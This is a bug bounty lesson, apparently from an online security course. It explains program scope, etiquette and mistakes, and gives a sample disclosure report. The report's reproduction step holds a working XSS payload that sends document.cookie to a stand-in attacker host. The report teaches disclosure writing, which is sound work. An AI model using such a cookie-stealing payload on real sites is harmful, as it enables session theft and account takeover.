After this lesson, you will be able to: Understand how bug bounty programs work, navigate HackerOne and Bugcrowd scope rules, and write a professional vulnerability disclosure report.
Bug bounty is the most public AppSec portfolio you can build. A single accepted report on HackerOne is worth more on a resume than most certifications. This lesson covers the operating model, the etiquette, and the report quality that gets paid.
Companies publish a program with a scope (URLs/domains/apps in-scope, exclusions, accepted vulnerability classes) and a reward structure (severity tier → payout range). Researchers find a vulnerability, write a report, submit through the platform. Triage validates, the company patches, and the researcher gets paid. The platforms (HackerOne, Bugcrowd, Intigriti, YesWeHack) handle payment, communication, and dispute resolution.
Out-of-scope testing is not 'bonus'. It is a crime, even on a public program. Read the scope page in full before you touch anything. Note: in-scope assets, excluded subdomains, prohibited vulnerability classes (e.g., DoS often excluded), retesting rules, and disclosure timelines. If in doubt, ask the program through the platform's safe communication channel, never DM employees.
This structure is the difference between 'closed as informational' and 'paid $1,500'.
# Title: Reflected XSS in /search via 'q' parameter (no CSP, cookies stealable)## SummaryThe /search endpoint reflects the 'q' query parameter without HTML encoding, allowing a one-click stored-XSS chain via the cached search history endpoint.## SeverityHigh. Authenticated session cookies are stealable; CSP is not present.## Steps to reproduce1. Log into acme.example.com with a test account2. Visit https://acme.example.com/search?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script>3. Observe the script executes and the attacker receives the cookie4. The payload is also stored in the search history endpoint and re-fires on later /history visits## ImpactAccount takeover via session cookie theft. Affects any logged-in user who follows a crafted link.## Recommended fixHTML-encode the 'q' parameter on render (the existing app/lib/template.escapeHtml helper). Add Content-Security-Policy: default-src 'self'. Clear the cached search-history JSON for affected users.## Proof of concept<short PoC link, demo video, or screenshot>
Follow this exact sequence. The temptation to skip steps will get your account flagged.
Create HackerOne and Bugcrowd accounts; complete the platform tutorials
Read 'Hacktivity' (HackerOne's public report feed); pick 5 reports rated High or Critical and study how they're written
Set up Burp Community + Foxyproxy on a dedicated browser profile (Firefox is easiest)
Pick a beginner-friendly program (HackerOne tags some as 'first-time hackers'; usually government VDPs with smaller payouts but friendlier triage)
Read the scope page TWICE before any testing
Focus on one vulnerability class first (e.g., IDOR in account-management endpoints). Depth beats breadth.
If you find something, draft the report with the structure above; sleep on it; submit the next day after a final scope re-read
Reporting a clickjacking on a domain that has no sensitive actions. Triage closes these as informational and your signal-to-noise drops. Reporting a self-XSS as 'critical XSS'. Self-XSS is when the attack requires the victim to attack themselves; it's rarely paid. Using automated scanners on programs that explicitly ban them. Filing duplicates (someone else found it first); learn to read scope rules including 'duplicate at triage' policies. Communicating outside the platform. Some programs DM, some don't; never push for off-platform contact.
Pick the correct sequence.
Sign in and purchase access to unlock this lesson.